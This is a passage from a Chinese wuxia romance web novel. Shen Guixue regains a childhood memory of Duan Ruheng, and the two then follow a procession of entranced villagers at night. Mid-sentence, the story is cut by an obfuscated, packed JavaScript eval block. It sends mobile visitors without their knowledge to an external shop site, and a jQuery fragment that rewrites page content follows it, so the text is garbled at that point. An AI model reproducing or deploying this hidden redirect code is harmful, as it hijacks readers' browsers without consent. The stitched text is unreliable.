沈归雪后知后觉刚才说的话有点歧义。
但比起险象环生,一片废墟的万剑谷,这真的算是一场美梦。
要是能沉溺在里面,醒不来就好了。
沈归雪想。
所幸段如珩也没多想,只问道:“梦见我什么了?”
沈归雪拍了下自己的额头,刚才的记忆正在缓慢的流失:“段如珩,你第一次见我是几岁?”
段如珩神色微动:“不足七岁。”
沈归雪捂着脸笑了出来:“你变了好多。”
她放下手,眼里闪着细碎的笑意:“不对,是和梦里的你比,变了好多。”
段如珩挑眉看她:“怎么说?”
“你好像不是很喜欢我。一板一眼的,就跟个......老古董一样。”
段如珩觉着自己呼吸都暂停了:“然后呢?”
沈归雪没注意到段如珩的紧张,放松的向后靠了靠:“不过我也确实......看上去不像个好孩子。逃学摘了一兜的桃,一身泥。”
沈归雪一下子笑了出来:“和你一比,我就跟刚从犄角旮旯里窜出来一样,哎,我还梦见我爹了。”
“好久没听见他说话了。”
“沈承影?”
沈归雪眼睛瞬间亮了起来:“你怎么知道,当时逃学来着,也不知道怎么想的就冠了剑名。”
段如珩沉默良久,眼眶瞬间红了。
这不是梦,这是他们共同拥有的一部分记忆。
沈归雪歪了歪头:“你怎么了,我都没难过呢。唉,我都快忘了他的样子了。”
“嗯。”
“这样的梦多来几次就好了。”
段如珩看着她带着笑意的面庞,道“沈归雪,这不是梦。你的记忆开始恢复了。”段如珩想笑却又笑不出来,既高兴又难过。
知道真相后,他俩或许连这现在的关系都没有了。但他还是盼着这一天早日到来。
“是吗?!”沈归雪自离开药王谷以来,各式阴谋藏匿于胸,从来没有一刻如眼下这般放松。
“但有一点不对。”
“嗯?”
段如珩闷声道:“我没不喜欢你。”
那时他心里的龉龊与肮脏,都与沈归雪无关。但还是发作到了她身上,不过那时的段如珩懒得解释,甚至希望沈归雪能因为他的冷漠与疏离跑远点。
却没想到她心里能毫无芥蒂,单纯至此。
一步一步扯开了他的心防。
“啊?”
“挺可爱的。”
“......?”
段如珩不太习惯这般直白的表达自己的心意,别开了脸:“我是说,你当时挺可爱的。不脏,红裙子也很好看,很鲜亮。”
明亮又鲜活。
就和沈归雪本人一般。
沈归雪半点不觉着羞赧:“谢谢,你当时也好看。”
段如珩低低的笑了。
在重逢后的日子里,也就刚才聊的这些没有半点试探,坦荡又磊落。
“笑什么?”
“没有,开心罢了。”
二人相视一笑,他们之间的隔阂仿佛在无言间烟消云散了。
“滋啦——”
隔壁突然传来微弱的声音,沈归雪瞬间警醒:“听见了吗?”
段如珩点头。
习武之人相较于常人五感会更加敏锐,顺着武功阶品的上升,五感会逐渐增强。
与此同时,外面本来和谐的村民突然暴躁起来,撕咬拉扯的声音越来越多。
段如珩突然抬手找了块相对干净的墙面,用指甲轻轻刮了一下。
“嘶——”沈归雪难受的移开了一段距离。
“像不像?”
沈归雪嫌弃的撇了撇嘴:“没什么分别,不过我们为什么不过去看呢?”
段如珩没回答,只在沈归雪想要动身走的时候拉住了她。
同时,隔断两个房间的帘子被人一把掀开,原先就摇摇欲坠,不堪重负的粗布终于化成了齑粉。
“宁念慈?”
只看见宁念慈有些失神的走了出来,连看都没看沈归雪一眼,直愣愣的就打算向外走。
“那其他人?”沈归雪刚这么想着,隔壁房间的挠墙声就开始逐渐减弱。
闷沉的脚步声开始响起。
沈归雪心里莫名觉着有些许不对,直到原先倒下的那一群人排着队向门外走去,她才迅速转头看向段如珩。
“段叔给你找的这些人......武功怎么一个比一个差?”
理论上讲,武功越高强,身段越轻盈。听闻到达顶峰后,脚步声便会被彻底隐去。
但这些侍卫......脚步沉的快赶上段家的烧火丫鬟了,即便是面对现在的状况,也不该如此啊。
段如珩神色如释重负般坦然:“都说了我的人还没到。而他,大概也知道我根本不会用他的人。”
“什么?”
眼瞧着他们便要走出院落,沈归雪也顾不上计较这么多,将长鞭别在腰后就要跟出去。
却听身后冷不丁传来一声:
“沈归雪,别把我和我爹混为一谈。”
他说这一句话时眼中的厉色藏都藏不住。只可惜沈归雪没有瞧见。
但这没头没脑的一句话还是让她皱了皱眉头:“知道了。”
“没什么想问的?”
沈归雪在心里道:“想问的可太多了,你怎么能比药王谷的小师妹还善变。”
终究也没说出口,活锋一转,问道:“你先前去过很多地方吧,这些古怪的人是不是......遇见过?”
沈归雪并非一高兴便忘记正事之人,段如珩对一些事情认知明显有些过头了。
“就问这个?不问问我有没有参与过这些事情?”段如珩揶揄的看了她一眼。
“你应该不会做。”
段如珩嘴角微微上扬,有了些少年人该有的喜色:“见过,但知道的不多。变成这样的原因不清楚,只知道在彻底变成那些村民的样子需要一段时间。”
“在这段时间里,他们白天会与常人无异。而到了晚上,他们先是会出现如同梦游一般的症状,之后开始神思倦怠,渐渐的失去理智、情感......以及一切正常人该拥有的东西,最后会彻底消失在白天。”
“消失在白天?”沈归雪瞬间想到刚来时,这个村落空无一人。
难怪当时段如珩表现的那般淡定。
沈归雪:“所以说他们现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129475|149476||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在是没事的?”
“嗯,三天内解决,应该不会有太大问题。”
屋门“哗”的一下被打开,冷风猛地灌进了屋子,宁念慈一行人丝毫不觉,甚至都不曾瑟缩一下。
沈归雪和段如珩压低了帷帽,紧跟他们身后。
外面的村民仿佛得到了某种信号一般,停止了相互之间的撕咬拉扯,目光呆滞的站成了几排,像是听见了谁的召唤。
“啪嗒——,吱呀——”
风将屋门重新关上。
这群瞳孔或全白或全黑的人共同利落的看向屋门,歪着头一动不动。
沈归雪也学着模仿他们的样子,歪着头一动不动,仿佛一个呆傻痴儿。
这群乌合之众突然推出来一个首领。
或者说,最早的受害者。
他脸上洋溢出了幸福的笑容,抬头看着明亮散着寒光的月亮。
沈归雪注意到他的耳朵正在微微的颤动,难道说有些类似于信号一样的东西只有他们能听见吗?
被寒风吹的近乎失去感觉的手莫名碰上了一个温热的物体。
她察觉到是段如珩用手背轻轻贴了贴她的手。
沈归雪侧眸,段如珩神色如常。
“......”
沈归雪有时候真觉着,他有点莫名其妙的。
手背上传来的温热开始缓慢移动。
沈归雪后知后觉,他是在写字传递消息。那这倒是看上去正常一些了。
“小心,那人感觉像是装的。”
段如珩字写的很慢,弄的她手背有些痒。但读完后,她的心瞬间被提了起来。
沈归雪的脊背瞬间升起一股寒意,将困劲一股脑的全挤开了。她只觉脖颈僵硬的快要断掉,更让人胆战的是——
一道意味深长的目光扫到了她和段如珩的身上。
沈归雪现在只想说句脏话。
她学着段如珩的手法,一字一句的贴在他手背上比划。
“怎么办?”
在沈归雪看不见的地方,段如珩勾了勾唇,手下动作没停,接着写到:“赌一把,一会儿跟着他们走。”
“好。”
沈归雪觉着那道刚刚移开的目光突然又回来了,她咬了咬牙,一动不敢动。
二百余人说多不多,但说少也确实不少,领头的那人顷刻消失不见,沈归雪想应该是去前方带队了。
霎时间,人头攒动,没人顾得上他俩。
沈归雪松下一口气来。
悄悄拽着段如珩与最前方的人拉开了一段距离。
“领头那人......哪里不对?”沈归雪回忆着刚才瞥见的样子,“我怎么瞧着和其他受害的村民一般,没什么分别。”
段如珩神色有些闪烁。
沈归雪何其敏锐:“段如珩,你是不是有事瞒我?”
“......”
沈归雪耳边突然有风猛地灌来,有人在身后。她猛地一个转身,闭了开来,随后头也不回,一个拳风以迅猛之势飞速打出。
身后那人险些躲闪不及,被打飞出去。
“哎呀,是我啊!萧姑娘,你怎么每次都这么暴力!”
好熟悉的声音,沈归雪一时竟想不起这是谁。